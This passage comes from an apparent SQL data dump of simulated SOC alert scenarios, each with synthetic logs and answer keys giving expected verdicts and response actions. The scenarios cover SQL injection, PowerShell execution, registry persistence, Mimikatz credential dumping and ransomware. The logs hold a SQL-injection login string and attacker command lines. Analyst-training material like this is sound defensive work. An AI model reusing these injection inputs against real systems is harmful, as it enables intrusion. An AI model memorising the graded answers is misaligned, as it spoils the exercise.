x64)\\\",\\\"referrer\\\":\\\"http://trusted-news-portal.com\\\",\\\"filename\\\":\\\"exploit_kit.js\\\",\\\"hash\\\":\\\"b5f3c8e9d6a8f5b9e2f7c4d8a1b3a5e6\\\",\\\"username\\\":\\\"jdoe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.952Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:01Z\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"url\\\":\\\"http://malicious-ad-network.com/ads\\\",\\\"method\\\":\\\"GET\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"referrer\\\":\\\"http://trusted-news-portal.com\\\",\\\"filename\\\":\\\"exploit_kit.js\\\",\\\"hash\\\":\\\"b5f3c8e9d6a8f5b9e2f7c4d8a1b3a5e6\\\",\\\"username\\\":\\\"jdoe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.952Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:01Z\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"url\\\":\\\"http://malicious-ad-network.com/ads\\\",\\\"method\\\":\\\"GET\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"referrer\\\":\\\"http://trusted-news-portal.com\\\",\\\"filename\\\":\\\"exploit_kit.js\\\",\\\"hash\\\":\\\"b5f3c8e9d6a8f5b9e2f7c4d8a1b3a5e6\\\",\\\"username\\\":\\\"jdoe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.952Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:01Z\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"url\\\":\\\"http://malicious-ad-network.com/ads\\\",\\\"method\\\":\\\"GET\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"referrer\\\":\\\"http://trusted-news-portal.com\\\",\\\"filename\\\":\\\"exploit_kit.js\\\",\\\"hash\\\":\\\"b5f3c8e9d6a8f5b9e2f7c4d8a1b3a5e6\\\",\\\"username\\\":\\\"jdoe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.952Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:01Z\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"url\\\":\\\"http://malicious-ad-network.com/ads\\\",\\\"method\\\":\\\"GET\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"referrer\\\":\\\"http://trusted-news-portal.com\\\",\\\"filename\\\":\\\"exploit_kit.js\\\",\\\"hash\\\":\\\"b5f3c8e9d6a8f5b9e2f7c4d8a1b3a5e6\\\",\\\"username\\\":\\\"jdoe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(358, 'Malicious Script Execution', 'high', 'Endpoint Detection and Response (EDR)', 'A PowerShell script is executed on the infected system, establishing a foothold within the network and allowing further payloads to be delivered.', 'PowerShell Script', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:07Z\",\"event_type\":\"process_creation\",\"computer_name\":\"WIN-0A1B2C3D4E5F\",\"user\":\"jdoe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\Documents\\\\malicious_payload.ps1\",\"file_hash\":\"d4c3b2a1e5f6g7h8i9j0k1l2m3n4o5p6\",\"internal_ip\":\"192.168.1.100\",\"external_ip\":\"203.0.113.45\",\"related_domain\":\"malicious-apt.com\"}', '2026-01-03 00:50:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"powershell.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malicious script used by APT groups.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d4c3b2a1e5f6g7h8i9j0k1l2m3n4o5p6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious PowerShell scripts.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Known command and control server IP.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"User with administrative privileges.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(359, 'Persistence Mechanism Established', 'high', 'Windows Event Logs', 'The malware modifies registry keys to ensure it runs on system startup, maintaining persistence even after reboots. The registry modification indicates a sophisticated attempt to establish persistence on the system.', 'Registry Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"EventID\":4657,\"TimeCreated\":\"2023-10-25T14:35:22Z\",\"Computer\":\"victim-pc.localdomain\",\"UserID\":\"S-1-5-21-3456789012-3456789012-3456789012-1001\",\"UserName\":\"john.doe\",\"ProcessID\":4567,\"ProcessName\":\"C:\\\\Windows\\\\System32\\\\reg.exe\",\"RegistryKey\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\maliciousApp\",\"RegistryValue\":\"C:\\\\Users\\\\john.doe\\\\AppData\\\\Local\\\\Temp\\\\maliciousApp.exe -silent\",\"Hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"SourceIP\":\"192.168.1.105\",\"AttackerIP\":\"203.0.113.45\"}', '2026-01-03 00:50:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with the compromised system.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"IP address known for malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"clean\",\"details\":\"User account on the compromised system.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4657,\\\"TimeCreated\\\":\\\"2023-10-25T14:35:22Z\\\",\\\"Computer\\\":\\\"victim-pc.localdomain\\\",\\\"UserID\\\":\\\"S-1-5-21-3456789012-3456789012-3456789012-1001\\\",\\\"UserName\\\":\\\"john.doe\\\",\\\"ProcessID\\\":4567,\\\"ProcessName\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\reg.exe\\\",\\\"RegistryKey\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\maliciousApp\\\",\\\"RegistryValue\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\maliciousApp.exe -silent\\\",\\\"Hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"SourceIP\\\":\\\"192.168.1.105\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4657,\\\"TimeCreated\\\":\\\"2023-10-25T14:35:22Z\\\",\\\"Computer\\\":\\\"victim-pc.localdomain\\\",\\\"UserID\\\":\\\"S-1-5-21-3456789012-3456789012-3456789012-1001\\\",\\\"UserName\\\":\\\"john.doe\\\",\\\"ProcessID\\\":4567,\\\"ProcessName\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\reg.exe\\\",\\\"RegistryKey\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\maliciousApp\\\",\\\"RegistryValue\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\maliciousApp.exe -silent\\\",\\\"Hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"SourceIP\\\":\\\"192.168.1.105\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4657,\\\"TimeCreated\\\":\\\"2023-10-25T14:35:22Z\\\",\\\"Computer\\\":\\\"victim-pc.localdomain\\\",\\\"UserID\\\":\\\"S-1-5-21-3456789012-3456789012-3456789012-1001\\\",\\\"UserName\\\":\\\"john.doe\\\",\\\"ProcessID\\\":4567,\\\"ProcessName\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\reg.exe\\\",\\\"RegistryKey\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\maliciousApp\\\",\\\"RegistryValue\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\maliciousApp.exe -silent\\\",\\\"Hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"SourceIP\\\":\\\"192.168.1.105\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4657,\\\"TimeCreated\\\":\\\"2023-10-25T14:35:22Z\\\",\\\"Computer\\\":\\\"victim-pc.localdomain\\\",\\\"UserID\\\":\\\"S-1-5-21-3456789012-3456789012-3456789012-1001\\\",\\\"UserName\\\":\\\"john.doe\\\",\\\"ProcessID\\\":4567,\\\"ProcessName\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\reg.exe\\\",\\\"RegistryKey\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\maliciousApp\\\",\\\"RegistryValue\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\maliciousApp.exe -silent\\\",\\\"Hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"SourceIP\\\":\\\"192.168.1.105\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4657,\\\"TimeCreated\\\":\\\"2023-10-25T14:35:22Z\\\",\\\"Computer\\\":\\\"victim-pc.localdomain\\\",\\\"UserID\\\":\\\"S-1-5-21-3456789012-3456789012-3456789012-1001\\\",\\\"UserName\\\":\\\"john.doe\\\",\\\"ProcessID\\\":4567,\\\"ProcessName\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\reg.exe\\\",\\\"RegistryKey\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\maliciousApp\\\",\\\"RegistryValue\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\maliciousApp.exe -silent\\\",\\\"Hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"SourceIP\\\":\\\"192.168.1.105\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(360, 'Credential Dumping Detected', 'high', 'SIEM Alerts', 'The attackers used Mimikatz to extract credentials from memory, enabling lateral movement across the network to escalate privileges.', 'Mimikatz', 'Credential Dumping', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:33Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.25\",\"user\":\"DOMAIN\\\\admin_user\",\"filename\":\"mimikatz.exe\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\",\"process_id\":3216,\"event_type\":\"Credential Dumping\",\"message\":\"Suspicious process mimikatz.exe detected extracting credentials from memory.\"}', '2026-01-03 00:50:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_provider\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_db\",\"verdict\":\"malicious\",\"details\":\"Mimikatz executable used for credential extraction.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash associated with Mimikatz malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"DOMAIN\\\\admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"active_directory\",\"verdict\":\"internal\",\"details\":\"Privileged domain account used in the attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:33Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.25\\\",\\\"user\\\":\\\"DOMAIN\\\\\\\\admin_user\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"process_id\\\":3216,\\\"event_type\\\":\\\"Credential Dumping\\\",\\\"message\\\":\\\"Suspicious process mimikatz.exe detected extracting credentials from memory.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:33Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.25\\\",\\\"user\\\":\\\"DOMAIN\\\\\\\\admin_user\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"process_id\\\":3216,\\\"event_type\\\":\\\"Credential Dumping\\\",\\\"message\\\":\\\"Suspicious process mimikatz.exe detected extracting credentials from memory.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:33Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.25\\\",\\\"user\\\":\\\"DOMAIN\\\\\\\\admin_user\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"process_id\\\":3216,\\\"event_type\\\":\\\"Credential Dumping\\\",\\\"message\\\":\\\"Suspicious process mimikatz.exe detected extracting credentials from memory.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:33Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.25\\\",\\\"user\\\":\\\"DOMAIN\\\\\\\\admin_user\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"process_id\\\":3216,\\\"event_type\\\":\\\"Credential Dumping\\\",\\\"message\\\":\\\"Suspicious process mimikatz.exe detected extracting credentials from memory.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:33Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.25\\\",\\\"user\\\":\\\"DOMAIN\\\\\\\\admin_user\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"process_id\\\":3216,\\\"event_type\\\":\\\"Credential Dumping\\\",\\\"message\\\":\\\"Suspicious process mimikatz.exe detected extracting credentials from memory.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(361, 'Suspicious File Transfer', 'high', 'Network Traffic Analysis', 'Using SMB, the attackers transfer ransomware payloads to other critical systems within the network. This activity is indicative of lateral movement, preparing for a widespread encryption event.', 'SMB Traffic', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:10Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"192.168.1.105\",\"external_attacker_ip\":\"203.0.113.25\",\"protocol\":\"SMB\",\"file_transferred\":\"ransomware_payload.exe\",\"file_hash\":\"3b2e2c7d5f234f5c8a9b3a6261d4b7e2\",\"username\":\"compromised_user\",\"action\":\"file_transfer\",\"smb_command\":\"SMB2_WRITE\",\"destination_port\":\"445\"}', '2026-01-03 00:50:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted host for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP address associated with ransomware campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3b2e2c7d5f234f5c8a9b3a6261d4b7e2\",\"is_critical\":true,\"osint_result\":{\"source\":\"Virustotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known ransomware payload.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"malicious\",\"details\":\"Filename used in the ransomware attack campaign.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Account observed in unauthorized file transfer activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(362, 'Data Encryption in Progress', 'critical', 'File Integrity Monitoring', 'The ransomware begins encrypting files on key servers, prompting the attackers to initiate contact with a ransom demand.', 'Ransomware Encryption', 'T1486', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:23:32Z\",\"event_id\":\"FIM-20231005-001\",\"event_type\":\"file_modification\",\"description\":\"Suspicious file encryption activity detected on server.\",\"affected_host\":\"192.168.1.10\",\"attacker_ip\":\"203.0.113.45\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"admin_user\",\"filename_encrypted\":\"confidential_data.xlsx\",\"ransomware_name\":\"CryptoLockerSim\",\"process_name\":\"encryptor.exe\",\"process_id\":4567}', '2026-01-03 00:50:36', '2026-02-18 11:07:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal server targeted by ransomware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP associated with known ransomware campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to CryptoLockerSim ransomware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.xlsx\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_system\",\"verdict\":\"suspicious\",\"details\":\"File targeted by ransomware encryption.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.958Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:32Z\\\",\\\"event_id\\\":\\\"FIM-20231005-001\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"description\\\":\\\"Suspicious file encryption activity detected on server.\\\",\\\"affected_host\\\":\\\"192.168.1.10\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename_encrypted\\\":\\\"confidential_data.xlsx\\\",\\\"ransomware_name\\\":\\\"CryptoLockerSim\\\",\\\"process_name\\\":\\\"encryptor.exe\\\",\\\"process_id\\\":4567}\"},{\"timestamp\":\"2026-02-01T20:31:18.958Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:32Z\\\",\\\"event_id\\\":\\\"FIM-20231005-001\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"description\\\":\\\"Suspicious file encryption activity detected on server.\\\",\\\"affected_host\\\":\\\"192.168.1.10\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename_encrypted\\\":\\\"confidential_data.xlsx\\\",\\\"ransomware_name\\\":\\\"CryptoLockerSim\\\",\\\"process_name\\\":\\\"encryptor.exe\\\",\\\"process_id\\\":4567}\"},{\"timestamp\":\"2026-02-01T20:30:18.958Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 